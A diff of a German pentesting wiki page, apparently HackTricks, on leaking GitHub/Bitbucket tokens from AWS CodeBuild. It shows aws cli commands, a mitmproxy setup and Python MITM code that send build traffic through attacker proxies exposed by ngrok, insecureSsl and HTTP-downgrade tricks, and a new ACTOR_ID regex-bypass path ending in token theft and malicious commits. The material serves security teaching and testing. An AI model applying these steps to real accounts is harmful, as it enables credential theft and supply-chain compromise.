diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 1b25cf6a5..da30c68a4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Wiederherstellen von Github/Bitbucket konfigurierten Tokens +## Konfigurierte Github/Bitbucket Tokens wiederherstellen -Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten: +Prüfe zuerst, ob source credentials konfiguriert sind, die zu einem leak führen könnten: ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### Über Docker-Image -Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen. +Wenn Sie feststellen, dass z. B. eine Authentifizierung zu Github im Account eingerichtet ist, können Sie **exfiltrate** diesen **access** (**GH token or OAuth token**), indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen. -Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen. +Zu diesem Zweck können Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines vorhandenen Projekts ändern, um das **Docker-Image** festzulegen. -Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen. +Das Docker-Image, das Sie verwenden können, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen `https_proxy`, `http_proxy` und `SSL_CERT_FILE` setzt. Dadurch können Sie den Großteil des Traffics des in `https_proxy` und `http_proxy` angegebenen Hosts abfangen und dem in `SSL_CERT_FILE` angegebenen SSL-Zertifikat vertrauen. -1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images** -- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und **das Docker-Image zu erstellen**. -- **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen. -- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen. -- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...) -2. **Umgebung festlegen** -- Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden. -- Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet. +1. **Erstellen & Hochladen Ihres eigenen Docker MitM-Images** +- Befolgen Sie die Anweisungen des Repo, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu setzen und das Docker-Image zu bauen. +- **DO NOT SET `http_proxy`**, damit Anfragen an den Metadata-Endpunkt nicht abgefangen werden. +- Sie können **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen +- Sobald Sie das Docker-Image gebaut haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...) +2. **Umgebung setzen** +- **Erstellen** Sie ein neues Codebuild-Projekt oder **ändern** Sie die Umgebung eines bestehenden. +- Konfigurieren Sie das Projekt so, dass es das **zuvor erzeugte Docker-Image** verwendet
3. **Setzen Sie den MitM-Proxy auf Ihrem Host** -- Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden: +- Wie im **Github repo** angegeben, können Sie etwas wie folgendes verwenden: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Die **mitmproxy-Version, die verwendet wurde, war 9.0.1**, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert. +> Die **mitmproxy version used was 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert. -4. **Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen** +4. **Build ausführen & Zugangsdaten erfassen** -- Sie können das Token im **Authorization**-Header sehen: +- Das Token ist im **Authorization**-Header sichtbar:
-Dies könnte auch über die aws cli mit etwas wie +Das kann auch über die aws cli mit etwas wie dem Folgenden gemacht werden: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### Über insecureSSL -**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist und nur über die API geändert werden kann.\ -Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen**. +**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die in der Weboberfläche verborgen ist und nur über die API geändert werden kann.\ +Wenn diese aktiviert ist, erlaubt sie Codebuild, sich mit dem Repository zu verbinden **ohne das von der Plattform präsentierte Zertifikat zu prüfen**. -- Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie: +- Zuerst musst du die aktuelle Konfiguration mit etwas wie folgendem auflisten: ```bash aws codebuild batch-get-projects --name ``` -- Dann können Sie mit den gesammelten Informationen die Projekteinstellungen **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das **`insecureSsl=True`** am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen). -- Fügen Sie außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf Ihr tcp ngrok zeigen, wie: +- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Das folgende ist ein Beispiel für mein Aktualisieren eines Projekts — beachte **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst). +- Füge außerdem die env variables **`http_proxy`** und **`https_proxy`** hinzu, die auf dein tcp ngrok zeigen, wie folgt: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Führen Sie dann das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist. +- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen. ```python from mitm import MITM, protocol, middleware, crypto @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Schließlich klicken Sie auf **Build the project**, die **Anmeldeinformationen** werden **im Klartext** (base64) an den mitm-Port gesendet: +- Schließlich auf **Build the project** klicken — die **credentials** werden **im Klartext** (base64) an den mitm port gesendet:
-### ~~Via HTTP-Protokoll~~ +### ~~Über das HTTP-Protokoll~~ -> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)** +> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)** -Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token** leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das **temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird**. +Ein Angreifer mit **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. - Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`). @@ -144,8 +144,8 @@ Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte da
-- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` -- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird. +- Dann die URL des github Repo so ändern, dass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` +- Dann das Basisbeispiel von https://github.com/synchronizing/mitm auf dem von den Proxy-Variablen (http_proxy und https_proxy) angegebenen Port ausführen. ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Klicken Sie als Nächstes auf **Projekt erstellen** oder starten Sie den Build über die Befehlszeile: +- Als Nächstes klicken Sie auf **Build the project** oder starten Sie den Build von der Kommandozeile: ```sh aws codebuild start-build --project-name ``` -- Schließlich werden die **Anmeldeinformationen** im **Klartext** (base64) an den mitm-Port gesendet: +- Schließlich werden die **credentials** im **Klartext** (base64) an den mitm-Port gesendet:
> [!WARNING] -> Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes. +> Nun kann ein Angreifer das token von seiner Maschine aus verwenden, alle Berechtigungen auflisten, die es hat, und es leichter missbrauchen, als den CodeBuild-Service direkt zu verwenden. + +## Webhook-Filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) + +Falsch konfigurierte CodeBuild GitHub-Webhooks, die nicht verankerte `ACTOR_ID`-Regexes verwenden, erlauben *nicht vertrauenswürdigen* PRs, privilegierte Builds zu starten. Wenn die allowlist z. B. `123456|7890123` ohne `^`/`$` ist, passt jede ID, die eines dieser Substrings enthält. Da GitHub-Benutzer-IDs sequenziell sind, kann ein Angreifer ein Rennen eingehen, um eine „eclipsing“ ID (ein Superstring einer vertrauenswürdigen ID) zu registrieren und den Build auszulösen. + +**Exploit path** + +1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist. +2. Obtain an eclipsing GitHub ID: +- Probe den globalen ID-Zähler, indem du GitHub-Organisationen erstellst/löschst (org IDs teilen denselben Pool). +- Stelle viele GitHub App-Manifest-Erstellungen vorab bereit und rufe die Bestätigungs-URLs auf, wenn der Zähler innerhalb von ~100 IDs des Ziels liegt, um in einem Schub einen Bot-ID zu registrieren, der das vertrauenswürdige Substring enthält. +3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs. +4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token. +5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}